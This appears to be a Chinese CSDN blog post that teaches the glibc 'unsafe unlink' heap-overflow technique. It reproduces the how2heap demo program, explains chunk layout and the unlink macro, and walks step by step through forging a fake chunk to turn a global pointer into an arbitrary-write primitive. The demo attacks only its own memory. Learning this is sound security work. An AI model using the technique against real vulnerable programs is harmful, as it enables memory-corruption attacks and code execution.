linux堆溢出学习之unsafe unlink

示例代码

来源:https://github.com/Escapingbug/how2heap/blob/master/unsafe_unlink.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);
}

分析

大致思路

我们有一个全局指针变量chunk0_ptr用来保存malloc的地址,局部变量chunk1_ptr用来保存另外一个malloc之后的地址。 我们假设造成溢出的是chunk0,那么我们就可以更改掉与其连续分配的chunk1的元数据。通过构造fake chunk可以使得chunk0_ptr在unlink的时候,其值被更改,可以被更改为其自己的地址附近,然后通过操纵该地址,即可以操纵他自己所指向的地址的值,造成任意地址写。

前置知识

漏洞成因

漏洞的主要原因来源于以下几个问题:
1. 为了节约内存,被使用之后的chunk和未使用的chunk的内存布局不相同,但是都用了相同的大小,于是free chunk具有更多的数据
2. glibc的堆空间控制是用链表处理的,其中除了fastbin(bin可以认为是链表的头结点指针,用来标志不同的链表),都使用了双向链表的结构,即使用fd和bk指针指向前者和后者,这恰巧是free chunk才有的额外数据
3. 在分配或是合并的时候需要删除链表中的一个结点,学过数据结构应该很清楚其操作,大概是P->fd->bk = P->bk; P->bk->fd = P->fd;,而在做这个操作之前会有一个简单的检查,即查看P->fd->bk == P && P->bk->fd= == P,但是这个检查有个致命的弱点,就是因为他查找fd和bk都是通过相对位置去查找的,那么虽然P->fd和P->bk都不合法,但是P->fd->bk和P->bk->fd合法就可以通过这个检测,而在删除结点的时候就会造成不同的效果了。

基础知识

堆的chunk的结构:

 已分配的堆块:
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of previous chunk, if allocated            | |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of chunk, in bytes                       |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             User data starts here...                          .
        .                                                               .
        .             (malloc_usable_size() bytes)                      .
        .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of chunk                                     |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
---------------------------------------------------------------------------------
 未分配的堆块:

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of previous chunk                            |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' |             Size of chunk, in bytes                         |P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Forward pointer to next chunk in list             |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Back pointer to previous chunk in list            |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Unused space (may be 0 bytes long)                .
        .                                                               .
        .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' |             Size of chunk, in bytes                           |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

简单的英文我就不做解释了,相信大家都懂。
主要注意的是,mem所指的位置才是我们真正拿到的malloc返回地址,也就是说堆块的meta data在mem之前。
再看unlink:

//unlink代码
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                   \
    BK = P->bk;                                   \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                    \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
        if (!in_smallbin_range (P->size)                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {            \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   "corrupted double-linked list (not small)",    \
                   P, AV);                        \
            if (FD->fd_nextsize == NULL) {                    \
                if (P->fd_nextsize == P)                      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;             \
                else {                                \
                    FD->fd_nextsize = P->fd_nextsize;                 \
                    FD->bk_nextsize = P->bk_nextsize;                 \
                    P->fd_nextsize->bk_nextsize = FD;                 \
                    P->bk_nextsize->fd_nextsize = FD;                 \
                  }                               \
              } else {                                \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;             \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;             \
              }                                   \
          }                                   \
      }                                       \
}

其实不用关心太多,主要在意一个是内存的指针检查,一个是如何赋值unlink的。

具体分析

在最上方贴出的代码示例当中,可以很清楚的看到整个漏洞的利用过程。

首先chunk0和chunk1被连续分配,然后我们打算在chunk0的mem开始处构造一个伪堆块,那么需要的数据主要是bk和fd,我们构造bk和fd的位置,使得找到bk之后再找fd指向全局变量chunk0_ptr所在的位置,chunk0_ptr的值即为P,那么就可以绕过那个检查了,同理,使得fd之后再找bk也指向相同的位置。(fd位于X+2×int64_t,bk位于X+3×int64_t,所以通过减一下就可以使得找到bk之后再找fd或者找到fd之后再找bk指向chunk0_ptr所在的位置了,第一种情况为例,相当于先找到一个X+2*8的位置的值,再把这个值作为地址加上3*8,于是就找到chunk0_ptr的位置了)

由于chunk1找chunk0的起始位置是通过chunk1最开始的部分的prev_size,也就是chunk1的位置减去一个prev_size就可以找到chunk0的位置,所以需要更改prev_size,这样不至于跳到真正的chunk0而是伪chunk0,再更改chunk1的prev free标志位,使得伪chunk0成为一个free chunk

之后就可以进行free了,free chunk1,由于chunk1和伪chunk0连续,且伪chunk0现在状态为free,所以需要unlink 伪chunk0来进行合并操作。

unlink的时候,第一条赋值语句会被第二条覆盖,因为他们都指向相同的地址,那就是chunk0_ptr的地址,所以unlink中只有第二句赋值有效。

第二句赋值使得chunk0_ptr的指向的地址变为了他自己的所在的地址减去3*8,那么chunk0_ptr[3]的所在的地址就是他自己的所在的地址了(这里比较绕,一定要弄清楚所在的地址和指向的地址的区别)。

大概相当于:

|chunk0_ptr[0]<----
____________      |
|chunk0_ptr[1]    |
____________      |
|chunk0_ptr[2]    |
____________      |
|chunk0_ptr[3]    |
| chunk0_ptr    ---
____________

也就是说现在chunk0_ptr[3]和chunk0_ptr是同一个内存里的。
所以最后更改chunk0_ptr[3],也就是更改了chunk0_ptr的值,使其指向了另外的地方,那么再更改chunk0_ptr指向的地方,就更改了另外的地方,这里就可以做到任意地址写了

阅读更多
版权声明:转载请保留出处 https://blog.csdn.net/qq_29343201/article/details/53558216
个人分类: ctf pwn
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

不良信息举报

linux堆溢出学习之unsafe unlink

最多只允许输入30个字

加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!
关闭
关闭